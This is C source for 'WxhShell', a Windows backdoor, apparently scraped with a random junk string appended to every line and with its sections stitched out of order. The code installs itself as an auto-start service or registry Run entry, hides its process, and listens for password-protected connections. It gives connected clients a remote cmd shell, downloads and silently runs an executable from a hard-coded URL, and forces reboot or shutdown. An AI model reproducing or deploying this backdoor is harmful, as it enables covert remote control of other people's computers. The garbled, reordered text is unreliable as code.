    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @-}D7?  
    if(Boot(SHUTDOWN)) nq),VPJi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kf}F}Ad:%  
    else { [U% .Gi  
    closesocket(wsh); 5>N6VeM  
    ExitThread(0); 2Ti" s-  
    } ;`;G/1]#9  
    break; 'E@2I9Kj  
    } /0Rt+`  
  // 获取shell .A )\F",X  
  case 's': { :Pj W:]  
    CmdShell(wsh); y*y`t6D  
    closesocket(wsh); **Qe`}E:  
    ExitThread(0); |E"Xavi>  
    break; ]u\  `  
  } TEH*@~P"  
  // 退出 v; je<DT  
  case 'x': { 3D]2$a_d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <Gbn PG?  
    CloseIt(wsh); " whO}  
    break; deR$  
    } Ufm(2`FQ  
  // 离开 ~ >&I^4  
  case 'q': { -d$8WSI 8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Eqz4{\   
    closesocket(wsh); [] GthF  
    WSACleanup(); +a7EsR  
    exit(1); zz7Y/653  
    break; xn%l  
        } [[";1l  
  } v_?s1+w  
  } A^}i^  
~rVKQ-+4&  
  // 提示信息 xI/{)I1f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GnSgO-$"  
} o 2[vM$]  
  } [dSDg2]  
KdBq@  
  return; wGov|[X  
} el2*\(XT  
}}4 sh5z  
// shell模块句柄 ::3iXk)  
int CmdShell(SOCKET sock) 2uJNc!&  
{ EI?d(K  
STARTUPINFO si; N$=(1`zM=  
ZeroMemory(&si,sizeof(si)); fg>B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y|GJp h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5 WN`8?  
PROCESS_INFORMATION ProcessInfo; 7/p J6>  
char cmdline[]="cmd"; AHp830\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1_33;gP  
  return 0; p]1yd;Jt  
} Ef,7zKG  
2yEO=SN,(  
// 自身启动模式 zAkc 67:  
int StartFromService(void) 8xD<A|  
{ .b_0k<M!p  
typedef struct CN8@c!mB  
{ @dWS*@  
  DWORD ExitStatus; i&}zcGC  
  DWORD PebBaseAddress;  BdE`p{  
  DWORD AffinityMask; Th& Wq  
  DWORD BasePriority; uK4'n+_>\  
  ULONG UniqueProcessId; /A[oj2un  
  ULONG InheritedFromUniqueProcessId; z'\}/k+  
}   PROCESS_BASIC_INFORMATION; <y\ Z#z  
 xnRp/I  
PROCNTQSIP NtQueryInformationProcess; %X0NHta ~@  
c5wkzY h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3x(MvW30Lg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /]MB6E7&  
#^4>U&?  
  HANDLE             hProcess; Zy!)8<Cgm'  
  PROCESS_BASIC_INFORMATION pbi; kYI(<oTY~  
Hl3XqR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JK:mQ_  
  if(NULL == hInst ) return 0; C<wj?!v,F[  
xT=kxyu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MWn L#!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SILvqm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VM2@{V/=~  
&JXHDpd$a^  
  if (!NtQueryInformationProcess) return 0; ,SJK  
^pQo`T6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kt4\&l-De  
  if(!hProcess) return 0; JV?RgFy  
/|u]Y/ *  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Br ^rK}|l  
"$V8y  
  CloseHandle(hProcess); mBpsgm:g^  
_iboTcUF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CI~;B  
if(hProcess==NULL) return 0; O[hbu![  
&TkbnDuYd~  
HMODULE hMod; {OhkuON  
char procName[255]; 9+is?Pj  
unsigned long cbNeeded; I>8@=V~  
Tm:#"h\F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t zW<&^  
pv m'pu78  
  CloseHandle(hProcess); ^; V>}08  
:UhFou_D4l  
if(strstr(procName,"services")) return 1; // 以服务启动 @X6#$ex  
;\*Od?1  
  return 0; // 注册表启动 Bc|x:#`C\{  
} -SY:qG3?  
;&^"q{m  
// 主模块 WGG) mh&-  
int StartWxhshell(LPSTR lpCmdLine) 9;v"bc Q  
{ vs0H^L  
  SOCKET wsl; CU>K  
BOOL val=TRUE; !VJa$>,  
  int port=0; {O&liU4  
  struct sockaddr_in door; 5WNg+  
q'V{vFfY%  
  if(wscfg.ws_autoins) Install(); 8rG&CxI  
T4}?w  
port=atoi(lpCmdLine); np\Q&  
;?lM|kK  
if(port<=0) port=wscfg.ws_port; Z8dN0AqZ  
$}UJs <-F  
  WSADATA data; >scS wT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x>9EVa)  
n#4J]Z@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S5 nw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8`~3MsE"  
  door.sin_family = AF_INET; s=~7m.m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KZ}4<{3  
  door.sin_port = htons(port); iCSM1W3  
3Q~&xNf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @"0N@gU  
closesocket(wsl); 5GFnfc}  
return 1; FHcqu_;J  
} kt3#_d^El  
'sQO0611S  
  if(listen(wsl,2) == INVALID_SOCKET) { U?^|>cMr  
closesocket(wsl); ;)]zv\fC  
return 1; lg  
} geN%rD  
  Wxhshell(wsl); Mh.eAM8_  
  WSACleanup(); 5)v^ cR?&  
;F(01  
return 0; q4ko}jn  
'C>SyU  
} _vLT!y  
c_qy)N  
// 以NT服务方式启动 }Z? [Ut  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :*+BBC  
{ 6Vzc:8o>  
DWORD   status = 0; _w/N[E  
  DWORD   specificError = 0xfffffff; 2b,TkG8K  
~S>ba']  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !skiD}zd1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wP':B AQ4U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0fK|}mmZA  
  serviceStatus.dwWin32ExitCode     = 0; $K5s)!  
  serviceStatus.dwServiceSpecificExitCode = 0; <~X6D?  
  serviceStatus.dwCheckPoint       = 0; oNsx Fi:  
  serviceStatus.dwWaitHint       = 0; ~wg^>!E  
.u;TeP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;H r@0f  
  if (hServiceStatusHandle==0) return; 5nq-b@?L  
E d/O\v@  
status = GetLastError(); {-`OE  
  if (status!=NO_ERROR) o5 XUDDi  
{ FEmlC,%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W1`ZS*12D  
    serviceStatus.dwCheckPoint       = 0; q;Pz B4#  
    serviceStatus.dwWaitHint       = 0; 2^M+s\p  
    serviceStatus.dwWin32ExitCode     = status; (4{9 QO  
    serviceStatus.dwServiceSpecificExitCode = specificError; WA5kX SdIb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y1+lk^  
    return; #}yFHM?i  
  } V\hct$ 7Vm  
=e/4Gs0*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6lAo`S\)eX  
  serviceStatus.dwCheckPoint       = 0; J*C*](  
  serviceStatus.dwWaitHint       = 0; ,ToEK Id  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +rP<m  
} F|Ihq^q  
"a{f? .X.  
// 处理NT服务事件,比如:启动、停止 pdiZ"pe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M=`Se&-M  
{ ahv=HWX k  
switch(fdwControl) {Dq51  
{ i~L7h=__  
case SERVICE_CONTROL_STOP: K!gFD  
  serviceStatus.dwWin32ExitCode = 0; Y,\mrW}K   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :/l   
  serviceStatus.dwCheckPoint   = 0; W)hby`k  
  serviceStatus.dwWaitHint     = 0; E_rC"_Zte  
  { Z+4Oa f!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;rL$z;}8  
  } Oh4WYDyT  
  return; O_Q,!&*6  
case SERVICE_CONTROL_PAUSE: iUBni&B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W^Y(FUy~  
  break;  E/;YhFb[  
case SERVICE_CONTROL_CONTINUE: >@uYleD(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y<(.,Nb8  
  break; .&.CbE8K[  
case SERVICE_CONTROL_INTERROGATE: * ?fBmq[j  
  break; h--bN*}H2  
}; ix`xdVj`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0eP~F2<bC  
} jQ}| ]pj+  
Lr:K0A.Ch  
// 标准应用程序主函数 @CDRbXoFk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6^Vf 5W{  
{ p2^OQK  
RBwV+X[B  
// 获取操作系统版本 Njjeg9f  
OsIsNt=GetOsVer(); :tG5~sK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |-D.  
h zE)>f  
  // 从命令行安装 f}eVfAf  
  if(strpbrk(lpCmdLine,"iI")) Install(); D I[Ee?  
MJ08@xGa  
  // 下载执行文件  t m?  
if(wscfg.ws_downexe) { PQr N";+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?]N&H90^5  
  WinExec(wscfg.ws_filenam,SW_HIDE); b\Ub<pE  
} kq-RM#Dj:  
XZGyhX7  
if(!OsIsNt) { \-yi#N  
// 如果时win9x,隐藏进程并且设置为注册表启动 =`H( `2  
HideProc(); OQvJdjST  
StartWxhshell(lpCmdLine); $h9!"f[|j  
} |0-L08DW  
else p4 PFoFo2  
  if(StartFromService()) f *vziC<m  
  // 以服务方式启动 *p^MAk9=  
  StartServiceCtrlDispatcher(DispatchTable); [:qX3"B  
else jXf-+ ;ZQ  
  // 普通方式启动 K<tg+(3  
  StartWxhshell(lpCmdLine); u 36;;z  
Op{Mc$5a  
return 0; =@>&kU%$&  
} ~fe0Ba4  
+6*I9R  
9HP--Z=  
d mO|PswW  
=========================================== , +^db)  
kn.z8%^(  
=g:\R$lQ  
we9AB_y  
( 9l|^w["  
nDvWOt  
" xT/&'$@{)  
LmE-&  
#include <stdio.h> ;D:v@I$I  
#include <string.h> #z.x3D@^r6  
#include <windows.h> h! <8=V(  
#include <winsock2.h> vY6|V$  
#include <winsvc.h> Lnzhs;7L  
#include <urlmon.h> `*a,8M%  
*QX$Mo^E  
#pragma comment (lib, "Ws2_32.lib") "`k[ 4C  
#pragma comment (lib, "urlmon.lib") !IS ,[  
>/*\x g&J  
#define MAX_USER   100 // 最大客户端连接数 R)=<q]Ms  
#define BUF_SOCK   200 // sock buffer h| Ih4  
#define KEY_BUFF   255 // 输入 buffer !FO)||'[  
XV&3h>5  
#define REBOOT     0   // 重启 ` T!O )5  
#define SHUTDOWN   1   // 关机 oaHBz_pg  
-vyC,A  
#define DEF_PORT   5000 // 监听端口  ulQE{c[  
yWuq/J:  
#define REG_LEN     16   // 注册表键长度 bpzA ' g>  
#define SVC_LEN     80   // NT服务名长度 [o~w>,a  
3-05y!vbcE  
// 从dll定义API 0czy:d,M%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >nxtQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ktCh*R[`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aF:I]]TfK~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &}]Wbk4:  
S(Pal/-"  
// wxhshell配置信息 vv u((b  
struct WSCFG { _heQ|'(  
  int ws_port;         // 监听端口 KH;e)91  
  char ws_passstr[REG_LEN]; // 口令 ~LVa#  
  int ws_autoins;       // 安装标记, 1=yes 0=no `{ /tx!  
  char ws_regname[REG_LEN]; // 注册表键名 iG ;6e~p  
  char ws_svcname[REG_LEN]; // 服务名 d+(~{xK:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Abl=Ev  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g%Z;rDfi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p"T4;QBxQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O/Fzw^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" it.l;L_nW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 * .e^s3q$  
NM4 n  
}; /<})+=>6f  
,Yo In  
// default Wxhshell configuration 7(jt:V6V  
struct WSCFG wscfg={DEF_PORT, +,smjg:O  
    "xuhuanlingzhe", Po2YDj`  
    1, "0 v]O~s  
    "Wxhshell", (i`DUF'#y  
    "Wxhshell", \^+sgg{  
            "WxhShell Service", O:#to  
    "Wrsky Windows CmdShell Service", |h#mv~cF  
    "Please Input Your Password: ", NmeTp?)m  
  1, ?.T=(-  
  "http://www.wrsky.com/wxhshell.exe", C}Khh`8@5.  
  "Wxhshell.exe" P"- ,^?6  
    }; tDi<n}  
Hi ?],5,/  
// 消息定义模块 '\9A78NV{;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $tb$gO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y A;S'dxY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xQN](OKG  
char *msg_ws_ext="\n\rExit."; >%7iL#3%  
char *msg_ws_end="\n\rQuit."; w_9:gprf  
char *msg_ws_boot="\n\rReboot..."; sI~{it#  
char *msg_ws_poff="\n\rShutdown..."; gSP|;Gy  
char *msg_ws_down="\n\rSave to "; <uA|nYpp  
E;h#3 B9  
char *msg_ws_err="\n\rErr!"; Jx 'p\*  
char *msg_ws_ok="\n\rOK!"; /$B<+;L!#  
0.?|%;^ib  
char ExeFile[MAX_PATH]; T IS}'c'C  
int nUser = 0; qD%Jf4.0j  
HANDLE handles[MAX_USER]; hG3b7!^#g  
int OsIsNt; ecr pv+  
C[~b6 UP  
SERVICE_STATUS       serviceStatus; @$Y`I{Xf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ];IUiS1  
'*22j ]  
// 函数声明 lGs fs(  
int Install(void); O10h(Wg  
int Uninstall(void); aG,N>0k8  
int DownloadFile(char *sURL, SOCKET wsh); KaOS!e'  
int Boot(int flag); W[+E5I  
void HideProc(void); ]` 3;8,  
int GetOsVer(void); 7:;P>sF@  
int Wxhshell(SOCKET wsl); #S QFI;zj  
void TalkWithClient(void *cs); o-/Xa[yC  
int CmdShell(SOCKET sock); Al 0zL  
int StartFromService(void); 3q<\ \8Y*  
int StartWxhshell(LPSTR lpCmdLine); m\j'7mZ1  
KbSIKj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w${=]h*2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %<K`d  
~`T3 i  
// 数据结构和表定义 ~g)gXPjke  
SERVICE_TABLE_ENTRY DispatchTable[] = q S2#=  
{ y&B~UeB:q  
{wscfg.ws_svcname, NTServiceMain}, 4K:p  
{NULL, NULL} 6f0 WN  
}; zZseK  
wn5CaP(]8  
// 自我安装 ^O4.$4t|  
int Install(void) 4R@3jGXb8q  
{ KI#),~n S  
  char svExeFile[MAX_PATH]; 6wfCC,2  
  HKEY key; YWjw`,EA(  
  strcpy(svExeFile,ExeFile); HBeOK  
Bxak[>/  
// 如果是win9x系统,修改注册表设为自启动 p-r}zc9@  
if(!OsIsNt) { -bduB@#2d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,H\EPmNHK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $D\SueZ  
  RegCloseKey(key); nO2-fW:9]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H/Y ZwDx,i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A)&OR]0[  
  RegCloseKey(key); }`M[%]MNc  
  return 0; U C3?XoT\  
    } 8E ^yHd4Y  
  } "\U$aaF  
} G)M9to  
else { u.gnv dU  
rx CSs  
// 如果是NT以上系统,安装为系统服务 2VA\{M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j[v<xo  
if (schSCManager!=0) F2:?lmhL<  
{ N)WAzH  
  SC_HANDLE schService = CreateService [0w @0?[  
  ( D<]z.33  
  schSCManager, z;x $tO  
  wscfg.ws_svcname, Yu>VW\Fb  
  wscfg.ws_svcdisp, ,GA2K .:#  
  SERVICE_ALL_ACCESS, *am.NH\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~8o's`  
  SERVICE_AUTO_START, 0j F~cV  
  SERVICE_ERROR_NORMAL, D4?5 %s  
  svExeFile, CfNHv-jDL  
  NULL, PTXy:>]M  
  NULL, +'Ec)7m  
  NULL, T XWi5f[  
  NULL, 9# IKb:9k  
  NULL |<t"O  
  ); Ph'*s{   
  if (schService!=0) Es/\/vF7]D  
  { l\vtz5L  
  CloseServiceHandle(schService); Po#;SG#Ee  
  CloseServiceHandle(schSCManager); mzLDZ# =b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .^6"nnfA#  
  strcat(svExeFile,wscfg.ws_svcname); _@3@_GE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V\^3I7F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N{U``LV  
  RegCloseKey(key); 5*l~7R  
  return 0; gNY}`'~hr  
    } T0J"Wr>WY  
  } *4"s,1?@BG  
  CloseServiceHandle(schSCManager); EbZRU65J}O  
} 2"*7H S  
} F:"<4hiA"  
 c %w h  
return 1; vtM!?#  
} tt2`N3Eu\  
}J"}5O2,b  
// 自我卸载 ^R',P(@oL  
int Uninstall(void) }u8o*P|,  
{ c%9wI*l  
  HKEY key; tkx1iBW=  
,iY/\ U''  
if(!OsIsNt) { # Y/ .%ch.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eY^;L_7}p  
  RegDeleteValue(key,wscfg.ws_regname); zA4m !l*eM  
  RegCloseKey(key); =X6WK7^0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L5=Tj4`  
  RegDeleteValue(key,wscfg.ws_regname); ]y= ff6Q  
  RegCloseKey(key); =LEKFXqM  
  return 0; WD c2Qt  
  } O) NEt  
} \' (_r  
} HQlhT  
else { H)tnxD0)  
3#o!K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `oQ)qa_  
if (schSCManager!=0) 9N5ptdP.d  
{ >Q':+|K}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eq +t%  
  if (schService!=0) SEsc"l8  
  { ov>Rvy  
  if(DeleteService(schService)!=0) { 7A'd55I4  
  CloseServiceHandle(schService); 7DaMuh~<  
  CloseServiceHandle(schSCManager); +rse,b&U(  
  return 0; [!9 dA.tF  
  } foY=?mbL  
  CloseServiceHandle(schService); HPJ\]HV(  
  } 2(~Y ^_  
  CloseServiceHandle(schSCManager); A;VjMfoB  
} n46A  
} _q*4+x  
'ap<]mf2  
return 1; z*?-*6W  
} C%P)_)- -V  
h#a;(F4_7  
// 从指定url下载文件 ~xI1@^ r  
int DownloadFile(char *sURL, SOCKET wsh) 0\3mS{s  
{ cm^:3(yYX  
  HRESULT hr; q0|u vt"  
char seps[]= "/"; #>~<rcE(  
char *token; W'2T7ha Es  
char *file; ANB@cK_  
char myURL[MAX_PATH]; 34S|[PX d  
char myFILE[MAX_PATH]; Fl{:aq"3  
c"qaULY  
strcpy(myURL,sURL); h_Ky2IB$  
  token=strtok(myURL,seps); lR] z8 &  
  while(token!=NULL) Fe8JsB-  
  { aRFLh  
    file=token; vd>K=! J  
  token=strtok(NULL,seps); C'8v\C9Ag  
  } ShXk\"  
|<nS<x  
GetCurrentDirectory(MAX_PATH,myFILE); cI}qMc  
strcat(myFILE, "\\"); OU)~ 02|\  
strcat(myFILE, file); (eX9O4  
  send(wsh,myFILE,strlen(myFILE),0); HU[a b  
send(wsh,"...",3,0); +Kc1a;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .yz-o\,gF%  
  if(hr==S_OK) xs<~[l  
return 0; mmk]Doy?#  
else @**@W[EM  
return 1; GA&mM   
m)G=4kK52-  
} >:W7f2%8`  
R#j -Z#/"  
// 系统电源模块  ?39B(T  
int Boot(int flag) :1%z;  
{ G9?6qb:  
  HANDLE hToken; ogN/zIU+VA  
  TOKEN_PRIVILEGES tkp; Wtl0qug  
nya-Io.  
  if(OsIsNt) { om3$=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bu`8QQ"C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >dH5n$Gb  
    tkp.PrivilegeCount = 1; 1d4 9z9F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !]bXHT&!R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _4E . P  
if(flag==REBOOT) { Vp3 9`m-W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RB]K?  
  return 0; p #vZYwe=L  
} /<Nb/#8  
else { }@IRReQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oZvQ/|:p!  
  return 0; H^jFvAI,8  
} nnBgTtsC]  
  } "BB#[@  
  else { CbK&.a  
if(flag==REBOOT) { QusEWq)}<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p/V  
  return 0; >`rK=?12<  
} S@suPkQ<>  
else { DJl06-s V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W":is"  
  return 0; e2#"o{+@  
} m35Blg34  
} wK 8/`{B9  
3[Pa~]yS  
return 1; ?sl 7C gl  
} 6T6 S9A*nT  
\jn[kQ+pJ  
// win9x进程隐藏模块 #plwK-tPR  
void HideProc(void) NN5V|# P}  
{ V43pZ]YZ>  
l ' ]d&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DQg:W |A  
  if ( hKernel != NULL ) cmDskQ:  
  { ')#E,Y%Hq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oRM EC7!A0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2,Y8ML<  
    FreeLibrary(hKernel); IY|;}mIF  
  } STgl{#  
'e-Nt&;  
return; b5YjhRimS  
} L1u  
cOUsbxYTD  
// 获取操作系统版本 bo&!oY#  
int GetOsVer(void) P,RCbPC4  
{ +MC>?rr_u  
  OSVERSIONINFO winfo; x8p#WB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {+f@7^/i.  
  GetVersionEx(&winfo); =Mq=\T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cHK)e2 r  
  return 1; L>{E8qv>w  
  else x]%e_  
  return 0; daBu<0\  
} );$Uf!v4  
>]"5K<-1  
// 客户端句柄模块 N s9cx  
int Wxhshell(SOCKET wsl) [(tgoh/  
{ ?PWD[mQE\  
  SOCKET wsh; +S M $#  
  struct sockaddr_in client; GFvZdP`s4  
  DWORD myID; .hgc1  
D_O%[u}  
  while(nUser<MAX_USER) Rs)tf|`/  
{  D@qq=M  
  int nSize=sizeof(client); Js qze'BGY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ltt%X].[  
  if(wsh==INVALID_SOCKET) return 1; J{$C}8V  
sCaw"{5qc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H's67E/>*  
if(handles[nUser]==0) 7&NRE"?G  
  closesocket(wsh); mT@UQCG  
else RrLQM!~  
  nUser++; U*/  
  } `a:@[0r0U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >U"f1q*$  
Opmb   
  return 0; $$ {ebt  
} u4$d#0sA  
j]J2,J  
// 关闭 socket KBzEEvx/$  
void CloseIt(SOCKET wsh) Mim 9C]h(  
{ WKBPqfC  
closesocket(wsh); - J!F((jt  
nUser--; _@sqCf%|  
ExitThread(0); wx(| $2{h  
} yhQo1e>  
=DE5 Wq19  
// 客户端请求句柄 uVDB; 6  
void TalkWithClient(void *cs) @)VJ,Ql$Y  
{ -sO EL{  
[ $.oyjd  
  SOCKET wsh=(SOCKET)cs; xi;SKv;p  
  char pwd[SVC_LEN]; lhQ*;dMj%"  
  char cmd[KEY_BUFF]; (' `) m  
char chr[1]; kp<9o!?)  
int i,j; I" sKlMD  
TKoO\\  
  while (nUser < MAX_USER) { JEY%(UR8  
`{F8#    
if(wscfg.ws_passstr) { M%&`&{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M P0ww$(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SL%4w<  
  //ZeroMemory(pwd,KEY_BUFF); aH"tSgi  
      i=0; b)@D*plS&  
  while(i<SVC_LEN) { L=Dx$#|  
Yz-b~D/=}  
  // 设置超时 MB^ b)\X  
  fd_set FdRead; B+zq!+ HJ  
  struct timeval TimeOut; tm+}@CM^.  
  FD_ZERO(&FdRead); 2U~oWg2P  
  FD_SET(wsh,&FdRead); .fo.mC@a  
  TimeOut.tv_sec=8; :Oq!.uO  
  TimeOut.tv_usec=0; u#J5M&#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #"i}wS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mv4JF(,S  
X$JKEW;0BP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )}WG`  
  pwd=chr[0]; )- 2^Jvc  
  if(chr[0]==0xd || chr[0]==0xa) { 3kYUO-qw  
  pwd=0; q%>L/KJ#  
  break; x( mY$l,il  
  } #+Vvf  
  i++; S'3l<sY  
    } uu#ALB Jm  
HCHC~FNd  
  // 如果是非法用户,关闭 socket aK1|b=gVj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W4>8  
} GueqpEd2  
MHxv@1)K|Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bd)A6a\h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~f%gW  
|L`w4;  
while(1) { u :m]-'  
JN3Oe5yB2@  
  ZeroMemory(cmd,KEY_BUFF); zD)2af  
w #1l)+  
      // 自动支持客户端 telnet标准   AV&W&$  
  j=0; Ah)7A|0rT  
  while(j<KEY_BUFF) { C@Wm+E~;8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,GR(y^S  
  cmd[j]=chr[0]; *y N,e.t  
  if(chr[0]==0xa || chr[0]==0xd) { \>I&UFfH)4  
  cmd[j]=0; ld2 \/9+n  
  break; },[j+wx  
  } x%x[5.CT  
  j++; ?<F\S2W  
    } #j;&g1  
g7d)YUc  
  // 下载文件 y f+/Kj< a  
  if(strstr(cmd,"http://")) { t3bDi/m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <'B`b  
  if(DownloadFile(cmd,wsh)) 7i/?+|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KWN&nP +  
  else L'[ '7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ye1P5+W(  
  } |dXS+R1  
  else { e1+ %c9UQ  
B V Pf8!-  
    switch(cmd[0]) { >:wk.<Z-  
  ]`:Fj|>  
  // 帮助 t/q\Ne\\,  
  case '?': { [ ra [~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nC`=quM9  
